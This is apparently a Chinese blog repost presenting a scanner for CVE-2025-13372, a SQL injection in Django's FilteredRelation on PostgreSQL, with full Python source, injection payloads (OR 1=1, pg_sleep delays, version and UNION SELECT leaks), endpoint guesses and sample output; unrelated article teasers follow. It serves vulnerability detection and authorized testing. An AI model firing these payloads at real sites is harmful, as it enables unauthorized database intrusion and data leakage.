news 2026/5/1 1:42:39

Django FilteredRelation SQL注入漏洞检测工具解析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Django FilteredRelation SQL注入漏洞检测工具解析

项目标题与描述

CVE-2025-13372 漏洞检测工具

本项目是一个专业的Django框架安全检测工具,专门用于检测CVE-2025-13372漏洞。该漏洞影响Django 5.2.8及以下版本、5.1.14及以下版本、4.2.26及以下版本,当应用使用PostgreSQL数据库后端、FilteredRelation功能并接受用户控制的别名参数时,可能导致SQL注入攻击。本工具通过多种检测方法(包括错误响应检测和时间延迟检测)自动化识别存在该漏洞的目标系统。

功能特性

  • 多种检测方式:支持基于PostgreSQL错误响应的检测和时间延迟检测
  • 自动化扫描:自动测试多个常见参数路径(alias、column、field、sort等)
  • 智能Payload设计:包含多种触发漏洞的SQL注入payload
  • 时间延迟检测:通过pg_sleep函数检测基于时间的SQL注入漏洞
  • 错误识别:能够识别多种PostgreSQL错误模式
  • 超时处理:正确处理检测过程中的超时情况
  • 兼容性广泛:覆盖多种可能的Django应用端点路径

安装指南

系统要求

  • Python 3.x
  • requests库
  • 网络访问权限
  • 仅用于授权的安全测试

安装步骤

# 克隆或下载项目文件gitclone https://github.com/Ashwesker/Blackash-CVE-2025-13372.git# 安装必需的Python库pipinstallrequests# 确保有urllib3库(Python标准库的一部分)

依赖项

  • Python 3.x
  • requests (用于HTTP请求)
  • urllib3 (禁用SSL警告)

使用说明

基础使用

# 基本用法:提供目标URL作为参数python3 CVE-2025-13372-poc.py http://target.com

典型使用场景

  1. 安全审计:对自有的Django应用进行安全测试
  2. 渗透测试:在授权范围内对客户系统进行漏洞检测
  3. 安全研究:学习SQL注入漏洞检测技术

工具工作原理

  1. 工具接受目标URL作为参数
  2. 遍历预定义的SQL注入payload列表
  3. 测试多个可能的端点路径(/search/, /api/filter/, /filter/等)
  4. 分析响应中的PostgreSQL错误指示器
  5. 对于时间延迟payload,检测响应延迟时间

输出示例

[+] CVE-2025-13372 PoC – Django FilteredRelation SQLi [+] Target: http://example.com [*] Testing: http://example.com/search/?alias=%27%29%20OR%201%3D1--%20... → no indicator [*] Testing: http://example.com/api/filter/?col=%27%29%3B%20SELECT%20pg_sleep%287%29-- ... → VULNERABLE! (Time delay detected) Delay : 7.05 seconds Payload : '); SELECT pg_sleep(7)--

核心代码

主检测逻辑代码

importrequestsimporturllib.parseimportsysfromrequests.packages.urllib3importdisable_warnings disable_warnings()iflen(sys.argv)!=2:print("Usage: python3 CVE-2025-13372-poc.py http://target.com")sys.exit(1)target=sys.argv[1].rstrip("/")# Common payloads that trigger PostgreSQL errors or delayspayloads=["') OR 1=1-- ","'); SELECT pg_sleep(7)--",# Time-based (7 sec delay = vuln)"'); SELECT version()--",# Leaks PostgreSQL version"' UNION SELECT NULL,version(),NULL--","1' AND (SELECT 1 FROM PG_SLEEP(7))--"]print("[+] CVE-2025-13372 PoC – Django FilteredRelation SQLi")print(f"[+] Target:{target}\n")forpayloadinpayloads:enc=urllib.parse.quote(payload)# Common endpoints/parameters that may use FilteredRelation + alias()/annotate()paths=[f"/search/?alias={enc}",f"/api/filter/?col={enc}",f"/filter/?field={enc}",f"/reports/?column={enc}",f"/advanced/?sort={enc}",f"/admin/lookup/?q={enc}",f"/?order={enc}"]forpathinpaths:url=target+pathtry:print(f"[*] Testing:{url[:80]}{'...'iflen(url)>80else''}",end="")r=requests.get(url,timeout=15,verify=False,allow_redirects=True)# PostgreSQL error indicatorsindicators=["syntax error at or near","column .* does not exist","unterminated quoted string","SQLSTATE","relation .* does not exist","django.db.utils.ProgrammingError"]body=r.text.lower()ifany(indinbodyforindinindicators):print(" → VULNERABLE! (PostgreSQL error)")print(f" Payload :{payload}")print(f" URL :{url}\n")sys.exit(0)# Time-based detectionif"pg_sleep"inpayload.lower()andr.elapsed.total_seconds()>=6:print(" → VULNERABLE! (Time delay detected)")print(f" Delay :{r.elapsed.total_seconds():.2f}seconds")print(f" Payload :{payload}")sys.exit(0)print(" → no indicator")exceptrequests.exceptions.Timeout:if"pg_sleep"inpayload.lower():print(" → VULNERABLE! (Request timed out – pg_sleep likely worked)")sys.exit(0)except:print(" → request failed")print("\n[-] Not vulnerable or correct endpoint not found.")print("[i] Tip: Use Burp/ZAP to find parameters named alias, column, field, sort, etc.")print("[i] Then test manually with the payloads above.")

漏洞技术分析代码说明

# CVE-2025-13372 技术原理说明# 漏洞出现在以下条件同时满足时:# 1. 使用PostgreSQL作为数据库后端# 2. 使用FilteredRelation进行条件连接# 3. 接受动态字典(**kwargs)构建查询注解或别名# 4. 允许用户控制的数据影响SQL生成中的别名名称# 问题根源:# Django ORM通常通过以下方式防止SQL注入:# - 转义危险字符# - 参数化输入# - 除非显式允许,否则禁止原始SQL# 但传递给以下函数的别名不会被参数化:# queryset.annotate(**dynamic_values)# queryset.alias(**dynamic_names)# 因为别名是SQL语法的一部分,而不是SQL值。# 如果用户控制的输入进入这些别名,Django可能会无意中将这些字符串逐字嵌入生成的SQL中。

检测逻辑详解

# 检测逻辑分为三个主要部分:# 1. Payload生成:定义多种SQL注入payload# - 基础注入payload:') OR 1=1--# - 时间延迟payload:'); SELECT pg_sleep(7)--# - 信息泄露payload:'); SELECT version()--# 2. 端点枚举:测试多个可能的参数位置# - alias参数:通常与FilteredRelation一起使用# - column/field参数:可能用于动态字段选择# - sort/order参数:可能用于动态排序# 3. 结果分析:# - 错误响应分析:查找PostgreSQL特定错误模式# - 时间延迟分析:检测pg_sleep导致的响应延迟# - 超时处理:时间延迟payload导致的超时视为漏洞存在

重要声明:本工具仅用于授权的安全测试和研究目的。使用前请确保已获得目标系统的明确授权。未经授权的使用可能违反法律法规。
6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ5EfxTTpHVbezSJmapquqON
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/28 17:30:16

SGLang股票走势解读:财经资讯生成优化案例

SGLang股票走势解读:财经资讯生成优化案例 1. 为什么财经场景特别需要SGLang这样的推理框架 你有没有遇到过这种情况:想让大模型实时分析一支股票的K线图、新闻舆情和财报数据,然后生成一段专业又易懂的行情解读——结果模型要么卡在JSON格…

作者头像 李华
网站建设 2026/4/25 23:38:09

模型安全审计:cv_unet_image-matting代码漏洞扫描实战

模型安全审计:cv_unet_image-matting代码漏洞扫描实战 1. 为什么需要对图像抠图WebUI做安全审计 你可能已经用过科哥开发的cv_unet_image-matting图像抠图WebUI——那个紫蓝渐变界面、支持粘贴截图、3秒出结果的AI抠图工具。它确实好用:上传一张人像&a…

作者头像 李华
网站建设 2026/5/1 5:46:01

Qwen3-Embedding-4B部署教程:Docker镜像快速启动步骤

Qwen3-Embedding-4B部署教程:Docker镜像快速启动步骤 你是否正在寻找一个开箱即用、支持百种语言、上下文长达32K的高质量文本嵌入服务?Qwen3-Embedding-4B正是为此而生——它不是通用大模型,而是专为语义理解、检索与排序打磨的“向量引擎”…

作者头像 李华
网站建设 2026/5/1 5:51:22

互联网崩溃后,技术极客如何用自制网络拯救世界

弗拉基米尔列宁曾说过,所有社会距离混乱只有三顿饱饭之遥。但在现代世界,将我们与无政府状态分隔开的,仅仅是一个Wi-Fi信号。我们生活的方方面面都依赖于计算机和互联网,而当它们失灵时,其速度令人措手不及。 这在今年…

作者头像 李华
网站建设 2026/4/28 0:05:21

模拟电子技术学习难点解析:新手避坑指南

以下是对您提供的博文内容进行 深度润色与工程化重构后的版本 。本次优化严格遵循您的全部要求: ✅ 彻底去除AI痕迹,语言自然、专业、有“人味”——像一位在实验室泡了十年的模拟工程师,在咖啡机旁给你讲干货; ✅ 所有结构模块(引言/三大难点/总结)被有机融合为一条…

作者头像 李华
网站建设 2026/5/1 6:58:00

Qwen3-0.6B适合哪些应用场景?一文说清楚

Qwen3-0.6B适合哪些应用场景?一文说清楚 Qwen3-0.6B是阿里巴巴于2025年4月发布的千问系列新一代轻量级大语言模型,参数量仅0.6B(6亿),却在推理能力、指令遵循、多轮对话和思考模式支持上实现了显著突破。它不是“缩水…

作者头像 李华